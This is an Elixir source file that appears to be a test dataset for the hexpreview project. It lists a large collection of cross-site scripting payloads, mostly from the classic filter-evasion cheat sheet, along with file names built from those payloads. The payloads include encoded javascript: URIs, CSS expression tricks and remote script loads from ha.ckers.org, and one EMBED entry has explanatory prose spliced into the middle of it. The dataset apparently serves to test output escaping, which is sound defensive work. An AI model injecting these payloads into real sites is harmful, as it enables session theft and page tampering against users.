hexpreview

lib/datasets/xss.ex

defmodule Datasets.Xss do
  @moduledoc """
  XSS dataset module.
  """
  @spec data :: [String.t(), ...]
  def data do
    [
      "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";\nalert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--\n></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
      "'';!--\"<XSS>=&{()}",
      "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
      "<IMG SRC=\"javascript:alert('XSS');\">",
      "<IMG SRC=javascript:alert('XSS')>",
      "<IMG SRC=JaVaScRiPt:alert('XSS')>",
      "<IMG SRC=javascript:alert(\"XSS\")>",
      "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
      "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
      "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
      "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;\n&#39;&#88;&#83;&#83;&#39;&#41;>",
      "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&\n#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
      "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
      "<IMG SRC=\"jav\tascript:alert('XSS');\">",
      "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
      "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
      "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
      "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out",
      "<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
      "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
      "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
      "<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
      "<SCRIPT SRC=//ha.ckers.org/.j>",
      "<IMG SRC=\"javascript:alert('XSS')\"",
      "<iframe src=http://ha.ckers.org/scriptlet.html <",
      "\\\";alert('XSS');//",
      "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>",
      "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
      "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
      "<IMG DYNSRC=\"javascript:alert('XSS')\">",
      "<IMG LOWSRC=\"javascript:alert('XSS')\">",
      "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS</br>",
      "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
      "<IMG SRC=\"livescript:[code]\">",
      "<BODY ONLOAD=alert('XSS')>",
      "<BGSOUND SRC=\"javascript:alert('XSS');\">",
      "<BR SIZE=\"&{alert('XSS')}\">",
      "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
      "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">",
      "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
      "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">",
      "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>",
      "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
      "exp/*<A STYLE='no\\xss:noxss(\"*//*\");\nxss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>",
      "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
      "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>",
      "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>",
      "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
      "<XSS STYLE=\"behavior: url(xss.htc);\">",
      "¼script¾alert(¢XSS¢)¼/script¾",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
      "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
      "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
      "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
      "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">",
      "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
      "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">",
      "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
      "<DIV STYLE=\"width: expression(alert('XSS'));\">",
      "<!--[if gte IE 4]>\n <SCRIPT>alert('XSS');</SCRIPT>\n <![endif]-->",
      "<BASE HREF=\"javascript:alert('XSS');//\">",
      "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>",
      "EMBED SRC=\"http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=\"never\" and allownetworking=\"internal\" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:\norg/xss.swf\" AllowScriptAccess=\"always\"></EMBED>",
      "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>",
      "a=\"get\";\nb=\"URL(\\\"\";\nc=\"javascript:\";\nd=\"alert('XSS');\\\")\";\neval(a+b+c+d);",
      "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>\n<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>",
      "<XML SRC=\"xsstest.xml\" ID=I></XML>\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>",
      "<HTML><BODY>\n<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\n<?import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert(\"XSS\")</SCRIPT>\">\n</BODY></HTML>",
      "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>",
      "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->",
      "<? echo('<SCR)';\necho('IPT>alert(\"XSS\")</SCRIPT>'); ?>",
      "<IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-",
      "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
      "<A HREF=\"http://66.102.7.147/\">XSS</A>",
      "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>",
      "<A HREF=\"http://1113982867/\">XSS</A>",
      "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>",
      "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>",
      "<A HREF=\"h\ntt\tp://6\t6.000146.0x7.147/\">XSS</A>",
      "<A HREF=\"//www.google.com/\">XSS</A>",
      "<A HREF=\"//google\">XSS</A>",
      "<A HREF=\"http://ha.ckers.org@google\">XSS</A>",
      "<A HREF=\"http://google:ha.ckers.org\">XSS</A>",
      "<A HpREF=\"http://google.com/\">XSS</A>",
      "<A HREF=\"http://www.google.com./\">XSS</A>",
      "<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>",
      "<A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>"
    ]
  end

  @spec files :: [String.t(), ...]
  def files() do
    [
      "<BGSOUND SRC=\"javascript:alert('XSS');\">.txt",
      "<BODY BACKGROUND=\"javascript:alert('XSS')\">.txt",
      "<BODY ONLOAD=alert('XSS')>.txt",
      "<BR SIZE=\"&{alert('XSS')}\">.txt",
      "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">.txt",
      "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">.txt",
      "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">.txt",
      "<DIV STYLE=\"width: expression(alert('XSS'));\">.txt",
      "<IMG DYNSRC=\"javascript:alert('XSS')\">.txt",
      "<IMG LOWSRC=\"javascript:alert('XSS')\">.txt",
      "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&n#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>.txt",
      "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;n&#39;&#88;&#83;&#83;&#39;&#41;>.txt",
      "<IMG SRC=\" &#14;  javascript:alert('XSS');\">.txt",
      "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>.txt",
      "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>.txt",
      "<IMG SRC=\"javascript:alert('XSS');\">.txt",
      "<IMG SRC=\"javascript:alert('XSS')\".txt",
      "<IMG SRC=javascript:alert('XSS')>.txt",
      "<IMG SRC=javascript:alert(\"XSS\")>.txt",
      "<IMG SRC=JaVaScRiPt:alert('XSS')>.txt",
      "<IMG SRC=\"javtascript:alert('XSS');\">.txt",
      "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">.txt",
      "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">.txt",
      "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">.txt",
      "<IMG SRC=\"livescript:[code]\">.txt",
      "<IMG SRC='vbscript:msgbox(\"XSS\")'>.txt",
      "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>.txt",
      "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">.txt",
      "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">.txt",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">.txt",
      "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out.txt",
      "<TABLE BACKGROUND=\"javascript:alert('XSS')\">.txt",
      "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">.txt",
      "xss-data.tmp",
      "<XSS STYLE=\"behavior: url(xss.htc);\">.txt",
      "<XSS STYLE=\"xss:expression(alert('XSS'))\">.txt",
      "'';!--\"<XSS>=&{()}.txt"
    ]
  end
end